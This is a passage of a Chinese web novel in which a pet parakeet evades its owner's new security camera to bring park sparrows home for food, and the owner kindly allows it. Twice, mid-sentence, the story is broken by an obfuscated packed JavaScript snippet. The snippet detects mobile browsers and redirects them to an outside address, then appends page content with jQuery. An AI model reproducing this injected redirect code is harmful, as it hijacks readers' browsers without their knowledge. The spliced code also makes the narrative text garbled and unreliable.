他急得在顾晏手心里直转圈,嘴里“啾啾啾”叫个不停。 不行不行不行! 顾晏看着他这副样子,心里暗暗有了猜测,没有再多说什么,若无其事地略过了这个话题。 徒留元呼呼晚上一个人在笼子里辗转反侧,心里唉声叹气。 这年头,养家怎么这么难! 7. 七团糯米糍 后面一连过了几天,顾晏除了让人上门换了新纱窗,半句话没再提监控的事。 元呼呼起初还提心吊胆,每天蹲在笼子里竖着耳朵听动静,生怕哪天睁眼就看到顾晏拿着监控出现在他面前。 但顾晏就像把这事忘了一样,每天照常上班下班,喂食添水,偶尔把他放出来在屋里溜达两圈。 元呼呼渐渐放下心来。 两脚兽肯定就是随口一说,吓唬鸟的。人类嘛,记性差得很,说不定早就忘到九霄云外去了。 他美滋滋地蹲在秋千上晃了晃,心想等过两天找个机会溜出去和麻雀姨妈见一面,让他们再来吃顿好的,不然等两脚兽放假在家,就没机会了。 然而就在他打定主意的第二天,顾晏拎了个袋子回家。 元呼呼当时正蹲在笼子里打瞌睡,听到开门声迷迷糊糊睁开眼,印入眼帘的就是这一幕。 他瞬间清醒了。 “啾?”他试探性地叫了一声,小脑袋贴着笼壁往外张望。 顾晏没理他,从纸袋里掏出一个巴掌大的白色小盒子。 元呼呼:O.O!!! 监控!是监控! 他急得在笼子里上蹿下跳,嘴里叽叽喳喳叫个不停:“啾啾啾!啾啾啾啾!” 你这人咋这样!不是都说了不装嘛! 顾晏偏头看了他一眼,语气淡淡:“叫什么?” 元呼呼立刻闭嘴,眨巴眨巴眼睛,装出一副“我只是随便叫叫”的无辜模样。 顾晏盯着他看了两秒,唇角微微弯了弯,没说话,转身继续捣鼓那个白色小盒子。 元呼呼眼睁睁看着他把盒子固定在阳台天花板的角落,又拿出一根线不知道连到哪里去,最后打开手机按了几下,那个小盒子上就亮起一个红色的光点。 红点。 元呼呼脑子里“嗡”的一声。 他见过这个! 之前蹲在公园树上观察人类的时候,有人就用过类似的东西,据说能把他的一举一动都拍下来,存到一个叫手机的东西里,想看的时候随时都能看。 完了完了完了。 他缩在笼子里,整只鸟都不好了。 顾晏装好监控,又把窗户关上,拍了拍手,走到鸟笼前。 “以后老实点。”他伸手弹了一下元呼呼的小脑袋瓜,“别以为我不知道你是不是真无辜。” 元呼呼被弹得往后一缩,小爪子踩了两步才站稳,心里慌得一批,脸上还要强装镇定。 “啾。”他叫了一声,试图萌混过关。 顾晏看了他一眼,像是相信了鸟的申诉,没有再咄咄逼鸟,转身进了浴室。 元呼呼蹲在笼子里,透过笼壁看着阳台上那个红色的光点,陷入了深深的焦虑。 监控。 会把鸟的一切行迹都拍下来的邪恶监控。 那麻雀姨妈他们再来怎么办,他不就暴露了吗?两脚兽要是知道这不是一场单方面的挑衅,而是一场有组织有预谋的团伙作案,肯定会生气的,说不定还会把他赶出去! 他急得在栖木上来回踱步,小脑袋飞速运转。 不行,得想办法。 什么办法呢…… 他抬起头,盯着那个红点看了好一会,忽然灵光一闪。 如果监控坏了,是不是就拍不到了? 对!把监控弄坏! 元呼呼为自己的聪明才智暗暗得意,但很快又犯起愁来。 他要怎么样才能把他解决掉呢? 啄?咬? 他仔细回忆了一下,发现这东西好像还挺结实的,一般的小打小闹根本弄不坏。 元呼呼陷入了沉思。 第二天是周五,顾晏提前请了假,没去上班。 元呼呼一大早被放出来放风,蹲在沙发靠背上,一边假装晒太阳一边偷偷观察那个监控。 红点还亮着,像一只不用休息的眼睛,直勾勾地盯着他的一举一动。 他心里有鬼,根本不敢和他对视,赶紧把脑袋扭到一边。 顾晏在厨房做早饭,香味飘过来,元呼呼下意识吸了吸鼻子,但很快又把注意力转回监控上。 不行,不能被美食诱惑,正事要紧。 他扑棱扑棱翅膀,从沙发靠背上飞起来,在屋里绕了两圈,最后装作若无其事地往阳台方向飞。 刚飞到阳台门口,顾晏的声音就从厨房传过来:“圆乎乎。” 元呼呼僵在半空。 “过来吃饭。” 元呼呼:“……” 他扭头看了看近在咫尺的阳台,又扭头看了看厨房的方向,纠结了两秒,最后还是败给了食物的诱惑,扑棱扑棱飞回了客厅。 吃完饭再想办法,反正监控又不会跑。 然而吃完饭,顾晏就把他拎起来放到了肩膀上,带着他出门散步去了。 元呼呼蹲在顾晏肩膀上,看着身旁熙熙攘攘的人群,心里惦记着家里的监控,整个鸟都有点心不在焉。 “啾。”他婉转地叫了一下,试图表达自己想回家的意愿。 顾晏偏头看了他一眼:“怎么,不舒服?” 元呼呼没吭声,头看向家的方向。 顾晏顺着他的目光看过去,沉默了两秒,忽然笑了。 “想回去?”他问。 元呼呼疯狂点头。 顾晏看着他这副急不可耐的样子,唇角弯了弯,没说话,继续往前走。 元呼呼:??? 什么意思,都知道鸟的意思了,为什么不回去?鸟想回家都不行吗,还有没有鸟权了! 他急得在顾晏肩膀上直跺脚,还不忘用嘴巴啄顾晏,主打一个手脚并用。 顾晏被他这波操作弄得措不及防,没忍住皱了皱眉,伸手把他从肩膀上拎下来,用手钳制住。 “乖乖陪我散步。” 那你让乖乖去陪你散步啊,人家是呼呼。 元呼呼挣扎不开,心里怨气极大,只恨自己没有多吃点饭,不能一屁股把顾晏压倒。 好不容易回到家,已经是下午了。 元呼呼被顾晏放开后,第一时间就是去看阳台的监控。 很遗憾,这么久过去了,它看起来依然□□。 这玩意不用休息的嘛! 元呼呼很生气。 他落到阳台的晾衣架上,像一座雕塑一样盯着监控。 顾晏在客厅里办公,偶尔偏头看他一眼,见他乖乖一个人待着就放心转头继续做事。 元呼呼盯了一会,忽然发现一个问题。 那个红点,好像一直朝着同一个方向? 他试着往左边飞了飞,红点没动。 他又往右边飞了飞,红点还是没动。 他再飞到阳台上方,俯视着往下看。 红点依然朝着原来的方向。 元呼呼:o.O? 他好像明白了什么。 这个监控,它不会动! 它只能拍到一个固定的方向! 这个重大发现让元呼呼兴奋得差点连翅膀都忘记挥动,身子突然下坠,他赶紧稳住身形,仔细观察起监控的拍摄范围。 阳台门好像能拍到。 纱窗也能拍到。 但是。 他顺着监控的角度往下看,发现阳台的角落,右边窗户的边缘,正好是监控的盲区。 如果他从那里进出,监控就拍不到。 元呼呼眼睛都在放光。 天无绝鸟之路,他元呼呼果然是命运之啾! 但很快他又冷静下来。 监控虽然拍不到那个角落,但要从那里进出,还是要想办法开路。 为了不被发现,他甚至不能啄开纱窗,只能想办法推开它。 他飞到纱窗前,用喙啄了啄纱窗的边缘,又用爪子扒拉了两下。 纱窗纹丝不动。 他又用力推了推。 还是不动。 元呼呼有点泄气,但很快又打起精神来。 不行,不能放弃。 他深吸一口气,把全身的力气都集中在爪子上,猛地往纱窗往旁边一推。 “嘎吱——” 纱窗动了。 元呼呼愣住了。 他低头看了看自己的爪子,又看了看那个被推开一条缝的纱窗,整只鸟都懵了。 他推开了? 他什么时候力气这么大了? 元呼呼呆呆地蹲在纱窗前,看着那条缝,脑子一片空白。 38克的小鸟也可以这么厉害吗? 他试着又推了一下。 这次他用上了喙,嘴爪并用,纱窗“嘎吱嘎吱”响着,竟然真的被他推开了一个拳头大小的缝隙。 元呼呼:⊙▽⊙ 他,元呼呼,一只看似平平无奇的小鹦鹉,竟然突然有了神力! 他兴奋地在阳台上来回飞了好几圈,先把纱窗重新推了回去,随即嘴里“啾啾啾”叫个不停,恨不得全世界都知道他变厉害了。 顾晏听到阳台不寻常的动静,从客厅走过来:“怎么了?” 元呼呼立刻停下,装作若无其事地蹲在晾衣架上,一脸无辜地看着他。 “啾。” 没什么,小鸟什么都没干。 顾晏狐疑地看了看他,又看了看纱窗,没发现什么异常,转身又回了客厅。 元呼呼等他走远,这才长出一口气,心里美滋滋的。 找到了监控盲区,还变得力大无穷,简直是双喜临门。 现在就差一件事了,给麻雀姨妈他们送信。 但这件事也不好办。 他被关在笼子里出不去,顾晏天天看着他,根本没机会。 元呼呼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278769|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前不断晃动的两脚兽,想不通为什么躺平的生活也这么累。 晚上,顾晏照例把他放进笼子里,关好笼门,转身进了卧室。 元呼呼蹲在秋千上,透过笼壁看着阳台上的监控,心里盘算着计划。 监控盲区找到了,纱窗也能推开了,现在的问题是,怎么从笼子里出去。 这个笼子的门,他试过无数次,根本打不开。 那个插销设计得很巧妙,只能靠别人从外面帮他打开。 但外面没有其他人。 只有顾晏。 元呼呼叹了口气,把脑袋埋进翅膀里。 难道要等顾晏放他出来的时候再行动? 可是那时候顾晏在家,一下子就会发现他不在。 思考半天想不出头绪,忙碌一天精疲力尽的元呼呼恍惚睡了过去。 半夜,一阵细微的动静把他惊醒。 迷迷糊糊睁开眼,眼前的笼门竟然开了一条缝。 元呼呼:O.O? 他以为自己还在做梦,使劲眨了眨眼。 不是错觉,笼门确实开了。 顿时,他整只鸟都清醒了,猛地从秋千上跳下来,扑到笼门边往外看。 客厅里黑漆漆的,空无一人,只有月光从阳台照进来,在地板上投下一片银白色的痕迹。 元呼呼愣了好一会儿,才慢慢反应过来。 他自由了? 他试探性地把脑袋伸出笼门,左右看了看。 没人。 他又往外挤了挤,整只鸟都钻了出来,落在笼子外面的桌子上。 还是没人。 卧室那边静悄悄的,什么动静都听不见。 元呼呼站在桌上,被这突然的惊喜砸得懵了圈。 所以,笼门为什么会是开的? 他明明记得顾晏关好了的,他努力了好久都没有弄开。 元呼呼的鸟脑飞速运转,想到了白天自己推开纱窗的事。 既然不是人干的,那么真相就只有一个。 那就是他还觉醒了什么特异功能,能在睡梦中隔空开门。 元呼呼低头看了看自己的爪子,又看了看那扇虚掩的笼门,黑豆眼里闪烁着骄傲又复杂的光。 没想到啊,他也有这么一天,突然就成全能型鸟才了,既能吃能睡能卖萌,又隔空开门力气大。 元呼呼在原地把自己想美了。 他兴奋地在桌上蹦了两下,但很快又强迫自己冷静下来。 不能高兴得太早,两脚兽还在卧室里睡觉,万一吵醒他这场行动就彻底完了。 他长出一口气,轻手轻脚地从桌上跳下来,落在柔软的地毯上,一点声音都没发出。 完美! 元呼呼心里的小算盘打得噼啪响。 先去阳台试试能不能推开纱窗,如果能推开,他就飞出去找麻雀姨妈,告诉他们周一白天可以来聚餐。 如果推不开,那就再说。 他蹑手蹑脚地往阳台方向移动,为了不被顾晏发现,甚至都没有飞起来,而是一步一步慢慢挪。 终于,他成功抵达阳台。 纱窗和白天一样,被关得严严实实。 元呼呼深吸一口气,飞了上去,把全身的力气都集中在爪子上,猛地往旁边一推。 “嘎吱——” 纱窗开了。 用力过猛,元呼呼差点没站稳,赶紧把胖乎乎的身子靠到窗框上。 真的推开了! 他兴奋得恨不得立刻飞出去放声高歌,但仅存的一丝理智让他忍住了。 先办正事。 他把脑袋探出纱窗,往外面看了看。 很黑,但对他来说不是问题,他可是无所不能的小鸟。 在即将飞走之前,元呼呼回头看了一眼卧室的方向,犹豫了一瞬。 万一两脚兽半夜醒来发现他不见了怎么办? 但这个念头很快被他压下去了。 富贵险中求,为了麻雀姨妈和小伙伴们能吃饱饭,他拼了! 元呼呼深吸一口气,准备往外飞。 卧室里突然传来一阵轻微的响动。 元呼呼僵住了。 他保持着半个身子探出窗外的姿势,一动不敢动,耳朵竖得直直的。 响动停了。 元呼呼慢慢把脑袋缩回来,回头看了一眼卧室的方向。 虚惊一场。 他拍了拍胸口,平复了一下狂跳的小心脏,再次探出脑袋。 “圆乎乎。” 一个声音从身后传来。 元呼呼脚下一滑,差点摔跤。 他慢慢、慢慢地转过头。 卧室门口,顾晏穿着睡衣站在那里,黑暗中看不清表情,但那双眼睛像鬼一样,正一眨不眨地盯着他。 元呼呼:O口O!!! 8. 八团糯米糍 完了完了完了完了完了。 被抓现行了! 元呼呼脑子里一片空白,下意识想往外飞,但爪子像被钉在窗框上一样,动都动不了。 顾晏没动,也没说话,就那样静静地看着他。 一秒。 两秒。 三秒。 元呼呼终于找回了自己的声音,发出一声可怜的叫声。 “啾……” 顾晏还是没动。 元呼呼急了,从窗框上跳下来,连滚带爬地往顾晏方向蹦,一边蹦一边啾啾叫,叫得那叫一个婉转动听,那叫一个情真意切。 “啾啾啾!啾啾啾!” 我不是要跑!我就是出来透透气!真的!你相信我! 他蹦到顾晏脚边,用小脑袋使劲蹭他的脚踝,一边蹭一边发出啾啾的叫声,活像一只做错事拼命讨好主人的小狗。 顾晏低头看着他,沉默了几秒。 随后他弯下腰,把这只拼命撒娇的小胖鸟拎了起来。 元呼呼被拎在半空,翅膀扑腾了两下,发现自己动弹不得,只能睁着一双黑豆眼,可怜巴巴地望着他。 “啾……”他最后叫了一声,声音里带着明显的讨好。 顾晏盯着他看了好一会儿,忽然开口。 “大半夜的不睡觉,想往外跑?” 元呼呼疯狂摇头。 不是不是,我就是想看看外面的月亮,今晚的月亮多圆啊你说是吧。 顾晏冷笑一声:“不是想跑?” 元呼呼点头如捣蒜。 “那你想干嘛?” 元呼呼眨巴眨巴眼睛。 “什么事还需要你专门跑到阳台,推开纱窗,把脑袋探出去干?” 元呼呼继续眨巴眨巴眼睛。 顾晏看着他这副装傻充愣的样子,忽然叹了口气。 “圆乎乎,你是不是以为我什么都不知道?” 元呼呼愣住了。 什么意思? 顾晏把他放下来,托在手心里,另一只手从睡衣口袋里掏出手机,点了几下,然后把屏幕怼到他面前。 屏幕上,一段视频正在播放。 视频里,一只蓝色的小胖鸟正站在阳台上,对着纱窗又推又啄,最后“嘎吱”一声把纱窗推开一条缝,然后兴奋地在阳台上来回飞了好几圈。 元呼呼:…… 视频继续播放。 小胖鸟飞累了,落在晾衣架上,嘴里叽叽喳喳叫个不停,一副得意洋洋的模样。 元呼呼:………… 视频播放完毕,屏幕暗下去,映出他呆若木鸡的脸。 顾晏收起手机,低头看着他。 “现在还有什么想说的?” 元呼呼张了张嘴,发出一声绝望的叫声。 “啾……” 完了。 全完了。 原来两脚兽什么都知道。 监控不是固定的,是会动的,他所有的努力在两脚兽眼里都跟现场直播一样清清楚楚。 元呼呼整只鸟都蔫了,脑袋耷拉下来,翅膀垂着,像一颗被霜打过的蓝色小茄子。 顾晏看着他这副模样,唇角微微弯了弯,但很快又压下去,继续保持严肃的表情。 “知道我为什么今晚把笼门打开吗?” 元呼呼抬起头,黑豆眼里满是困惑。 顾晏盯着他看了两秒,缓缓开口。 “我就想看看,你到底想干什么。” 元呼呼没想到是这个理由,迟钝地眨了眨眼睛。 “这几天你鬼鬼祟祟的,天天盯着我看,我就知道你心里有鬼。”顾晏说,“后来安上监控,发现你会推纱窗,我就更好奇了,一只小胖鸟,不在家好好呆着,一直往外面跑,到底是为了什么。” 他顿了顿,语气里带上一丝他自己都没察觉的温和。 “是为了去找你的好朋友?” 元呼呼浑身一震,眼睛瞪得溜圆。 他怎么连这个都知道! 顾晏看着他的反应,心里有了答案。 “那天纱窗上的洞,是不是你的鸟朋友弄的?” 元呼呼不敢动,也不敢叫,只能僵硬地蹲在顾晏手心里,假装自己是一只没有生命的毛绒玩具。 顾晏等了半天没等到回应,低头看了看手心里这团装死的蓝色毛球,忽然笑了。 “行了,别装了。” 他伸手轻轻弹了一下元呼呼的小脑袋瓜。 “我知道你听得懂。” 元呼呼还是不敢动。 顾晏叹了口气,把他举到眼前,和他四目相对。 “圆乎乎,你想让它们来,就直接告诉我。” 元呼呼:O.O? 顾晏看着他这副惊讶的模样,有点好笑。 “我又不是不讲道理的人。”他说,“你每天在家里吃了睡睡了吃,也没个同类陪你说话,想找朋友玩很正常。” 元呼呼眨巴眨巴眼睛,像是在消化他的话。 顾晏继续说:“但你得跟我说,不能自己偷偷摸摸的,万一出事了怎么办?你这么胖,谁看了都想吃。” 他说着说着,脑海里不自觉想象了一下元呼呼蹲在地上的样子,可不就是一坨香香软软的糯米糍。 元呼呼听着顾晏的话,心里忽然涌上一股奇怪的感觉。 暖暖的。 软软的。 像小时候窝在麻雀姨妈翅膀底下睡觉的那种感觉。 原来两脚兽不是要怪他,只是担心他。 元呼呼的眼眶忽然有点湿,他赶紧把脑袋埋进顾晏手心里,不让他看见。 顾晏感觉到手心里的小东西在轻轻颤抖,以为他是被吓到了,心里害怕,于是放轻了声音。 “好了,不凶你了。”他伸手摸了摸元呼呼的脑袋,“以后想做什么,直接告诉我,知道吗?” 元呼呼埋在他手心里,闷闷地“啾”了一声。 顾晏弯了弯唇角,把他放回笼子里,笼门大敞着。 “今晚就随便你吧。”他说,“笼门不关了,你想出来就出来。” 元呼呼抬头看他。 顾晏转身往卧室走,走到门口又停下来,回头看他。 “对了,你那些小鸟朋友,想见面可以直接叫到家里来。”他说,“记得提前跟我说,我多准备点吃的。” 说完他就进了卧室,门虚掩着,也没有关上。 元呼呼蹲在地上,呆呆地看着那扇门,好半天没回过神来。 过了好一会,他才慢慢从地上跳到桌子上,和监控面对面发了会呆,随即蹦蹦跳跳地往卧室方向走去。 他轻车熟路地从门缝里挤进去,跳上床,落在顾晏枕头边。 顾晏闭着眼睛,呼吸平稳,像是已经睡着了。 元呼呼盯着他看了好一会儿,小心翼翼地凑过去,用脑袋轻轻蹭了蹭他的脸颊。 “啾。”他轻轻地叫了一声,声音软得不像话。 谢谢你,两脚兽。 顾晏的睫毛轻轻颤了颤,没睁眼,但嘴角微微弯起一个不易察觉的弧度。 元呼呼蹭完,心满意足地在他枕头边缩成一团,闭上了眼睛。 窗外月光如水,屋里一片静谧。 良久,一只温热的手从抽屉里取出一个小窝,随即轻轻把小胖鸟托了起来,送到了小窝里。 元呼呼在睡梦中动了动,似乎是感受到了什么,蹭了蹭那只手,继续呼呼大睡。 第二天一早,元呼呼是被食物的香味馋醒的。 他睁开眼,发现自己躺在一个香香软软的小窝里,枕边已经空了,顾晏不知道什么时候起的床。 他在小窝里打了几个滚,伸了个懒腰,从窝里跳出来,循着香味往厨房方向飞去。 厨房里,顾晏正在忙活,灶台上放着好几个小碟子,里面装着各种各样的食物。 元呼呼凑过去一看,眼睛都直了。 小米、切碎的水果、撕成细丝的菜叶,还有一小碟虾仁,闻起来香喷喷的。 顾晏低头看他:“醒了?” 元呼呼疯狂点头,眼睛还黏在那些食物上拔不下来。 下一秒,一小蝶单独放在一旁的食物被放到他面前。 碟子里是切好的水果,苹果、草莓、芒果、葡萄……切成小小的块,刚好够小鸟一口一个。 元呼呼低头看了看碟子里的水果,都来不及思考这是什么鸿门宴,立马开始埋头苦干,先低头啄了一颗草莓。 甜! 他眯起眼睛,又啄了一颗芒果。 更甜! 顾晏看着他这副没出息的样子,唇角弯了弯:“好吃吗?” 元呼呼疯狂点头。 好吃好吃! 顾晏伸手弹了一下他的小脑袋瓜:“那就快吃,吃完有正事。” 元呼呼歪了歪脑袋,不明白正事关小鸟什么事,但还是乖乖埋头猛啄,把碟子里的水果扫荡得一干二净。 吃完最后一块水果,他抬起头,意犹未尽地舔了舔喙,眼巴巴地望着顾晏。 顾晏不为所动:“没了,再吃就变猪了。” 元呼呼:…… 小气! 他愤愤地跳到顾晏肩膀上,用脑袋蹭了蹭他的脖子,试图用撒娇换取更多水果。 顾晏被蹭得有点痒,伸手把他拎下来,托在手心里。 “别蹭了,说了有正事。”他说,“你那些小鸟朋友,今天想不想让它们来?” 元呼呼愣住了。 顾晏看着他这副呆样,有点好笑:“不是说了要让它们来吃好吃的?睡了一觉就忘了不成。” 元呼呼的眼睛一点点亮起来,越来越亮,最后亮得像两颗小星星。 “啾!!!” 他想!他太想了! 元呼呼在顾晏手心里又蹦又跳,翅膀扑腾扑腾地扇,恨不得立刻飞出去把麻雀姨妈他们全叫来。 顾晏被他扑腾得手心发痒,赶紧把他按住:“行了行了,别激动。” 元呼呼停下来,黑豆眼亮晶晶地望着他,嘴里“啾啾啾”叫个不停,像是在问:现在可以吗?现在就去吗? 顾晏弯了弯唇角:“去吧。” 他把元呼呼放到阳台窗边,推开窗户。 清晨的风涌进来,带着冬天特有的凉意。 元呼呼站在窗框上,回头看了顾晏一眼。 顾晏冲他点了点头。 元呼呼深吸一口气,张开翅膀,猛地冲了出去。 这是时隔这么多天,他第一次在空中自由飞翔。 他飞过熟悉的建筑,一路往公园的方向飞去。 公园还是老样子,那排长长的电线上,密密麻麻站着无数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278770|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只圆滚滚的麻雀。 元呼呼一眼就看到了那个熟悉的身影。 “啾啾啾!” 他发出一声响亮的叫声,扑棱着翅膀冲过去。 电线上的麻雀们齐刷刷地转过头,看到他,顿时炸开了锅。 “啾啾啾!” “啾啾!” “是呼呼!” “呼呼回来了!” 小灰和小斑第一个冲上来,一左一右围着他,叽叽喳喳叫个不停。 “呼呼你怎么回来了!” “你还好吗!” “两脚兽对你好不好!” 元呼呼被问得晕头转向,赶紧啾啾回应。 “好好好,两脚兽特别好!我今天就是来叫你们去吃好吃的!” 麻雀姨妈也从麻雀群中飞出来,落在他面前,上下打量了他一番。 羽毛更亮了,肚子更圆了,眼睛更有神了。 她点了点头,用喙轻轻碰了碰他的脑袋。 “啾。”她叫了一声,声音里带着欣慰。 过得好就行。 元呼呼蹭了蹭她的羽毛,然后退后一步,正了正神色,郑重其事地发出一声邀请。 “啾啾啾!啾啾啾!” 今天我主人特意准备了吃的,让我来叫你们!大家都去,越多越好! 麻雀们面面相觑。 “主人?” “去吃好吃的?” 元呼呼用力点头,神气的很。 “对!” 小灰和小斑眼睛都亮了,迫不及待地往前冲,被麻雀姨妈一翅膀拦住。 麻雀姨妈看着元呼呼,目光里带着审视。 “啾?”她问。 你确定?那个两脚兽可信吗? 元呼呼继续点头。 “确定!” 麻雀姨妈沉默地看了一圈周围的麻雀们,良久终于点头应下。 “啾。” 那就去看看吧。 小灰和小斑欢呼一声,扑棱扑棱翅膀,带头往元呼呼来的方向飞去。 其他的麻雀们犹豫了一下,也纷纷跟了上去。 一时间,天空中密密麻麻全是灰扑扑的小点,浩浩荡荡地往顾晏家的方向飞去。 元呼呼飞在最前面,回头看了一眼跟在身后的麻雀大军,心里美滋滋的。 他,元呼呼,说到做到,真的带麻雀群去吃香喝辣了! 等会儿一定要让顾晏看看,他的鸟缘有多好! 浩浩荡荡的麻雀群飞过小区上空,引得好几个遛弯的大爷大妈抬头张望。 “哎哟,这么多麻雀!” “这是往哪儿飞呢?” “稀奇稀奇真稀奇。” 元呼呼没空管这些,他带着麻雀群一路飞到顾晏家阳台外。 阳台的窗户已经打开了,纱窗也被推到了一边,露出一个宽敞的入口。 顾晏手里端着好几个小碟子,正往阳台这边走。 猛地一抬头,他突然看到阳台上密密麻麻落地的麻雀,脚步顿了顿。 元呼呼得意洋洋地飞到他肩膀上,用脑袋蹭了蹭他的脸颊。 “啾啾啾!” 看!我把它们都带来了! 顾晏沉默了两秒,低头看了看肩膀上这只得意忘形的小胖鸟,又抬头看了看阳台上那少说有三四十只的麻雀,缓缓开口。 “圆乎乎。” 元呼呼歪了歪脑袋:“啾?” 顾晏深吸一口气:“你这是把公园的麻雀群都叫来了?” 元呼呼疯狂点头,眼里满是得意。 对啊对啊,惊不惊喜,意不意外! 顾晏:“……” 他是说过让元呼呼把朋友叫来,但没想过是这么多朋友。 他低头看了看手里那几个小碟子,加起来还不够这些麻雀塞牙缝的。 元呼呼顺着他的目光看过去,也发现了这个问题。 对哦,他只顾着把大家叫来,忘了算鸟头了。 完了完了完了。 他急得在顾晏肩膀上直跺脚,嘴里“啾啾啾”叫个不停。 怎么办怎么办,吃的不够呀。 顾晏看着他这副着急的样子,叹了口气。 “等着。” 他把碟子放到阳台上,转身进了屋。 麻雀们蹲在栏杆上,你看看我,我看看你,不知道发生了什么。 小灰和小斑凑到元呼呼身边,小声啾啾问。 “怎么了?吃的呢?” 元呼呼急得团团转:“啾啾啾,啾啾!” 等等等等,马上就来了! 没过多久,顾晏从屋里出来了。 他手里拎着一个大袋子,里面装满了小米和碎玉米。 元呼呼眼睛都直了。 我竟从未知道,你是如此豪横之主人! 顾晏走到阳台,把袋子里的东西倒进一个大盆里,端到麻雀们面前。 “吃吧。”他说。 “啾!!!” 瞬间二三十只麻雀一拥而上,扑到盆边埋头猛啄,吃得头都不抬。 元呼呼蹲在顾晏肩膀上,看着这一幕,刚想和顾晏两眼泪汪汪地表达一番忠心,却突然被扼住了命运的后脖颈。 幽幽的声音从旁边传来。 “所以,是哪只在我脚边拉了一坨屎?” 9. 九团糯米糍 元呼呼的脑子在这一刻转得飞快。 他没有一丝犹豫,立刻从顾晏肩膀上跳下来,落到地上,装模作样对着那群埋头苦吃的麻雀们啾啾叫了一通。 谁拉的,快承认,不承认以后别想来了。 麻雀们抬起头,你看看我,我看看你,没一个吭声。 有的麻雀把脑袋深深埋进食盒里。 有的若无其事左顾右盼。 反正没有一个人搭理元呼呼。 元呼呼再接再厉,一副义愤填膺的样子,冲上去落到了小灰面前。 是不是你! 小灰疯狂摇头。 他又飞到小斑面前。 是不是你! 小斑也疯狂摇头。 他飞了一圈,也质问了一圈,可惜没一只鸟承认。 元呼呼看似没辙了,只好飞回顾晏肩膀上,软软地叫了一声。 主人你看他们,可不是我不帮你,小鸟太无辜了。 顾晏静静看完这一场声情并茂的表演,半天没有吭声。 元呼呼持续用胖脸攻击他的脸颊。 毫不怀疑再这样下去自己的脸会被若有若无蹭过来喙给刮破皮,顾晏没忍住偏过头,伸手按住了他。 “行了。” 元呼呼停下来,眼睛亮晶晶地盯着他。 顾晏叹了口气。 “反正这件事早就过去了,凶手在这里也无所谓了。” 元呼呼悬着的心总算落地,赶紧趁热打铁又蹭了顾晏两下。 不愧是他的主人,这个银翼! 小鸟跟着你,有福了啾啾。 等麻雀们吃饱喝足,已经是半小时后的事了。 盆里的小米和碎玉米被扫荡得干干净净,几十只麻雀蹲在阳台上消食。 麻雀姨妈飞到元呼呼身边,用头最后蹭了蹭他的脑袋,随后就带着大部队飞走了。 元呼呼在阳台上目送他们远去,直到最后一只麻雀的身影都消失不见,这才恋恋不舍地飞回屋里。 顾晏正坐在沙发上喝茶,看到元呼呼进屋朝他打招呼。 “来我这。” 元呼呼乖乖飞过去,落在茶几上。 顾晏看着他,像是在酝酿着什么。 元呼呼被他看得有点紧张,小爪子在茶几上不安分地踩来踩去。 “圆乎乎,我们谈谈。” 元呼呼下意识歪了歪脑袋。 顾晏伸手弹了他一下。 “别装傻。” 哦。 元呼呼眨眨眼睛,站直了。 顾晏端起茶杯喝了一口,缓缓开口。 “我知道你在外流浪不容易,舍不得朋友很正常,你那些朋友想吃东西随时都可以来,但我们必须先说好规矩。” 他伸出三根手指。 “第一,仅限这个冬天,等到春季食物充足就让他们自己去觅食。” 元呼呼爽快应下。 “第二,不许在家里乱拉乱啄,只能在阳台上吃饭。” 元呼呼继续点头。 “第三,作为交换条件,你必须乖乖听话,不许再半夜偷偷往外跑,也不许天天想着把监控解决。” 可怕的两脚兽,竟然把可怜的小鸟玩弄于股掌之间。 元呼呼心里为自己一去不复返的皇帝生活默哀三秒,艰难地点了点头。 为了这个家庭,他真是付出了太多! 所有问题都得到合理解决,顾晏和元呼呼的人鸟关系达到了前所未有的融洽。 元呼呼张开翅膀扑进顾晏手心里,使劲蹭了蹭,试图在这个温情时刻进一步加深情感。 顾晏被他蹭得手心发痒,忍不住笑了。 “行了行了,别蹭了。” 元呼呼立马停下来,整只鸟摊成一张饼,留一块毛茸茸的小肚子给他。 你爽了我还没爽呢,既然你不需要我的服务了,那就换你伺候我吧。 顾晏没想到迎接他的会是一团糯米糍,心情复杂地伸手戳了戳小鸟的小肥膘。 “圆乎乎,你真的该减肥了。” 元呼呼一下子炸毛了,像枚小炮弹一样从桌子上弹射起来,一把将小肚子藏了起来,啾啾啾开始口吐芬芳。 坏蛋,超级无敌大坏蛋,不会说话就闭嘴,说的没一句鸟爱听! 顾晏看着面前叽叽喳喳活力四射的小鸟,没忍住弯了弯唇角,把他抓住放到肩膀上。 “行了,别叫了,去给你添点吃的。” 元呼呼这才满意,安分蹲在他肩膀上,等情绪过去后,他看着顾晏的侧脸,又觉得他还是很好的,起码对他很好。 作为回报,元呼呼决定送他一份礼物。 还没等他想好送什么,一件计划之外的事情就打乱了元呼呼的节奏。 这天下午,元呼呼本来正在惬意吃饭,突然听到顾晏说要带他去一个朋友家。 朋友,元呼呼很震惊。 顾晏竟然也有朋友! 不怪元呼呼这么想,毕竟他从顾晏还不认识他的时候就开始勤勤恳恳地“陪伴”顾晏,从没看到他和任何人有过交集,完全的孤狼存在。 没想到才来到这个家短短几天,顾晏身边就雨后春笋一般突然冒出来了一堆同事,现在又多了个朋友。 要不是元呼呼相信自己的聪明才智,都要怀疑这是一场针对天真小鸟的杀鸟盘了。 更凑巧的是,据顾晏所说,他朋友也养鸟,还是一只身价不菲的灰鹦鹉。 